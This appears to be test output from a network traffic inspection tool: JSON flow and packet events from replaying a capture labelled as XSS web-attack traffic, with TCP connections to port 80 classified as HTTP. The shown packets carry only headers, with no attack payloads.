+00432{"flow_id":623,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8831,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348033,"pkt_ts_usec":297674,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LtNAAD4GlwWsEAABwKgKMom+AFA+iNZEHWugWIAQAOXakwAAAQEICgE8+JED5soF"} +00432{"flow_id":620,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8835,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348033,"pkt_ts_usec":908855,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00XNAAD4G9GSsEAABwKgKMomIAFDG6SL0OYO0zoARAOXZnwAAAQEICgE8+SoD5sT2"} +00432{"flow_id":620,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8836,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348033,"pkt_ts_usec":910376,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0flBAAEAGRYjAqAoyrBAAAQBQiYg5g7TOxuki9YAQAOPT+AAAAQEICgPmyp8BPPkq"} +00432{"flow_id":620,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8837,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348033,"pkt_ts_usec":910486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0flFAAEAGRYfAqAoyrBAAAQBQiYg5g7TOxuki9YARAOPT9wAAAQEICgPmyp8BPPkq"} +00432{"flow_id":620,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8838,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348033,"pkt_ts_usec":910950,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H75AAD4GphqsEAABwKgKMomIAFDG6SL1OYO0z4AQAOXT9AAAAQEICgE8+SsD5sqf"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8842,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":624,"flow_packet_id":1,"flow_first_seen":1499348034569,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35276,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":624,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8842,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348034,"pkt_ts_usec":569726,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8z7RAAD4G9husEAABwKgKMonMAFCoJTZ7AAAAAKACchD7OgAAAgQFtAQCCAoBPPnPAAAAAAEDAwc="} +00444{"flow_id":624,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8843,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348034,"pkt_ts_usec":569852,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiczTsUb+qCU2fKAScSASQAAAAgQFtAQCCAoD5stDATz5zwEDAwc="} +00433{"flow_id":624,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8844,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348034,"pkt_ts_usec":570616,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0z7VAAD4G9iKsEAABwKgKMonMAFCoJTZ807FG\/4AQAOWxRgAAAQEICgE8+dAD5stD"} +00432{"flow_id":621,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8848,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348034,"pkt_ts_usec":909173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DoJAAD4Gt1asEAABwKgKMomWAFBGnvpDisSvQoARAOU0ngAAAQEICgE8+iQD5sY2"} +00432{"flow_id":621,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8849,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348034,"pkt_ts_usec":909394,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZNpAAEAGXv7AqAoyrBAAAQBQiZaKxK9CRp76RIARAOMvPQAAAQEICgPmy5gBPPok"} +00432{"flow_id":621,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8850,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348034,"pkt_ts_usec":910097,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DoNAAD4Gt1WsEAABwKgKMomWAFBGnvpEisSvQ4AQAOUvOgAAAQEICgE8+iUD5suY"} +00432{"flow_id":622,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8857,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348035,"pkt_ts_usec":909748,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gARAAD4GRdSsEAABwKgKMomkAFDF6nYIPwciFYARAOUQLQAAAQEICgE8+x4D5sd5"} +00433{"flow_id":622,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8858,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348035,"pkt_ts_usec":909931,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07odAAEAG1VDAqAoyrBAAAQBQiaQ\/ByIVxep2CYARAOMLFQAAAQEICgPmzJIBPPse"} +00432{"flow_id":622,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8859,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348035,"pkt_ts_usec":910627,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gAVAAD4GRdOsEAABwKgKMomkAFDF6nYJPwciFoAQAOULEgAAAQEICgE8+x8D5syS"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8863,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":625,"flow_packet_id":1,"flow_first_seen":1499348037175,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35302,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":625,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8863,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348037,"pkt_ts_usec":175604,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MahAAD4GlCisEAABwKgKMonmAFDKJM3zAAAAAKACchA\/HQAAAgQFtAQCCAoBPPxbAAAAAAEDAwc="} +00444{"flow_id":625,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8864,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348037,"pkt_ts_usec":175698,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiebQGLVtyiTN9KAScSDovwAAAgQFtAQCCAoD5s3PATz8WwEDAwc="} +00433{"flow_id":625,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8865,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348037,"pkt_ts_usec":176453,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MalAAD4GlC+sEAABwKgKMonmAFDKJM300Bi1boAQAOWHxwAAAQEICgE8\/FsD5s3P"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":626,"flow_packet_id":1,"flow_first_seen":1499348038438,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35316,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":626,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8872,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348038,"pkt_ts_usec":438178,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8j\/dAAD4GNdmsEAABwKgKMon0AFAYNXJgAAAAAKACchBLVgAAAgQFtAQCCAoBPP2XAAAAAAEDAwc="} +00444{"flow_id":626,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8873,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348038,"pkt_ts_usec":438283,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQifSSwJxVGDVyYaAScSBKLgAAAgQFtAQCCAoD5s8KATz9lwEDAwc="} +00434{"flow_id":626,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8874,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348038,"pkt_ts_usec":438896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j\/hAAD4GNeCsEAABwKgKMon0AFAYNXJhksCcVoAQAOXpNQAAAQEICgE8\/ZcD5s8K"} +00433{"flow_id":623,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8878,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348038,"pkt_ts_usec":910192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LtRAAD4GlwSsEAABwKgKMom+AFA+iNZEHWugWIARAOXVFgAAAQEICgE8\/g0D5soF"} +00432{"flow_id":623,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8879,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348038,"pkt_ts_usec":910411,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0b9hAAEAGVADAqAoyrBAAAQBQib4da6BYPojWRYAQAOPPnAAAAQEICgPmz4EBPP4N"} +00434{"flow_id":623,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8880,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348038,"pkt_ts_usec":910414,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0b9lAAEAGU\/\/AqAoyrBAAAQBQib4da6BYPojWRYARAOPPmwAAAQEICgPmz4EBPP4N"} +00433{"flow_id":623,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8881,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348038,"pkt_ts_usec":910995,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IRpAAD4GpL6sEAABwKgKMom+AFA+iNZFHWugWYAQAOXPmQAAAQEICgE8\/g0D5s+B"} +00434{"flow_id":624,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8888,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348039,"pkt_ts_usec":911056,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0z7ZAAD4G9iGsEAABwKgKMonMAFCoJTZ807FG\/4ARAOWsDgAAAQEICgE8\/wcD5stD"} +00433{"flow_id":624,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8889,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348039,"pkt_ts_usec":911241,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0loRAAEAGLVTAqAoyrBAAAQBQiczTsUb\/qCU2fYARAOOm1wAAAQEICgPm0HsBPP8H"} +00433{"flow_id":624,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8890,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348039,"pkt_ts_usec":911983,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0z7dAAD4G9iCsEAABwKgKMonMAFCoJTZ907FHAIAQAOWm1QAAAQEICgE8\/wcD5tB7"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":584,"flow_packet_id":6,"flow_first_seen":1499347965133,"flow_last_seen":1499347970889,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34548,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":584,"flow_packet_id":6,"flow_first_seen":1499347965133,"flow_last_seen":1499347970889,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34548,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":585,"flow_packet_id":6,"flow_first_seen":1499347966420,"flow_last_seen":1499347971889,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34562,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":585,"flow_packet_id":6,"flow_first_seen":1499347966420,"flow_last_seen":1499347971889,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34562,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":586,"flow_packet_id":6,"flow_first_seen":1499347967724,"flow_last_seen":1499347972889,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34576,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":586,"flow_packet_id":6,"flow_first_seen":1499347967724,"flow_last_seen":1499347972889,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34576,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":587,"flow_packet_id":6,"flow_first_seen":1499347970267,"flow_last_seen":1499347975890,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34602,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":587,"flow_packet_id":6,"flow_first_seen":1499347970267,"flow_last_seen":1499347975890,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":588,"flow_packet_id":6,"flow_first_seen":1499347971560,"flow_last_seen":1499347976891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34616,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":588,"flow_packet_id":6,"flow_first_seen":1499347971560,"flow_last_seen":1499347976891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34616,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":589,"flow_packet_id":6,"flow_first_seen":1499347974113,"flow_last_seen":1499347979891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34642,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8891,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":589,"flow_packet_id":6,"flow_first_seen":1499347974113,"flow_last_seen":1499347979891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34642,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8894,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":627,"flow_packet_id":1,"flow_first_seen":1499348041088,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35342,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":627,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8894,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348041,"pkt_ts_usec":88026,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8l85AAD4GLgKsEAABwKgKMooOAFBaWpfjAAAAAKACchDg\/QAAAgQFtAQCCAoBPQAtAAAAAAEDAwc="} +00443{"flow_id":627,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8895,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348041,"pkt_ts_usec":88150,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQig7ecTfrWlqX5KAScSD19wAAAgQFtAQCCAoD5tGhAT0ALQEDAwc="} +00432{"flow_id":627,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8896,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348041,"pkt_ts_usec":88744,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l89AAD4GLgmsEAABwKgKMooOAFBaWpfk3nE37IAQAOWU\/wAAAQEICgE9AC0D5tGh"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8903,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":628,"flow_packet_id":1,"flow_first_seen":1499348042384,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35356,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":628,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8903,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348042,"pkt_ts_usec":384336,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rjZAAD4GF5qsEAABwKgKMoocAFClJq9HAAAAAKACchB9ewAAAgQFtAQCCAoBPQFxAAAAAAEDAwc="} +00445{"flow_id":628,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8904,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348042,"pkt_ts_usec":384460,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQihw9by\/zpSavSKAScSA6LAAAAgQFtAQCCAoD5tLlAT0BcQEDAwc="} +00432{"flow_id":628,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8905,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348042,"pkt_ts_usec":385197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rjdAAD4GF6GsEAABwKgKMoocAFClJq9IPW8v9IAQAOXZMwAAAQEICgE9AXED5tLl"} +00432{"flow_id":625,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8909,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348042,"pkt_ts_usec":910916,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MapAAD4GlC6sEAABwKgKMonmAFDKJM300Bi1boARAOWCLAAAAQEICgE9AfUD5s3P"} +00432{"flow_id":625,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8910,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348042,"pkt_ts_usec":911131,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZgdAAEAGXdHAqAoyrBAAAQBQiebQGLVuyiTN9YARAON8kwAAAQEICgPm02kBPQH1"} 